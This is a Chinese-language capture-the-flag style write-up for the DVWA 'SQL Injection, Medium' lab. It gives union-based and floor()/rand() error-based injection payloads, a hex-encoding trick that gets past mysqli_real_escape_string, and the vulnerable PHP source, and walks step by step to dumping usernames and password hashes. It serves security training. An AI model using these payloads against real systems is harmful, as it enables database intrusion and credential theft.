【DVWA】SQL Injection------------------------Medium
1、初步测试
发现是post请求
于是用burp抓包:
输入单引号’报错:
输入1 and 1=1
回显正常,判断应该是数字型
输入1 and 1=2
没有回显,说明存在sql注入漏洞
2、获取数据库名、用户、版本号
order by测出主查询字段数为2
payload_1:union select group_concat(database(),user(),version()),1
爆出数据库名为dvwa,用户为root@localhost,版本号为5.7.26
3、获取表名
payload:and 1=2 union select group_concat(table_name),1 from information_schema.tables where table_schema='dvwa'
后台可能对特殊字符’'有过滤,于是换一个payload:
payload:and 1=2 union select group_concat(table_name),1 from information_schema.tables where table_schema=database()
这次成功将表名爆出:guestbook,users
换一个姿势:
payload_2:1 and 1=2 union select 1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database() ),floor(rand(0)*2))x from information_schema.tables group by x#
4、获取字段名
姿势1----常规操作:
payload:1 and 1=2 union select group_concat(column_name),1 from information_schema.columns where table_name=0x7573657273
由于后台对’'做了转义处理,所以要将表名users转换为十六进制0x7573657273来绕过转义
如图所示爆出users表中的字段名
姿势2----使用floor()函数:
payload_2:1 and 1=2 union select 1,concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),floor(rand(0)*2))x from information_schema.tables group by x#
5、获取字段数据
payload:1 and 1=2 union select 1, group_concat(user,0x7e,password) from users
如图所示,爆出用户名和密码。
6、暴力破解密码的md5值。
成功获取管理员的用户名admin和密码password
源码分析:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
//mysqli_real_escape_string转义sql语句中使用的字符串中的特殊字符\x00 \n \r \ ' " \x1a
//但这里并没有做参数化或预处理或者更严格的过滤,所以可以避开使用上述特殊字符来构造payload
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
总结:
如果遇到转义的特殊字符,可以将该字符转换为hex(不带单双引号)实现过滤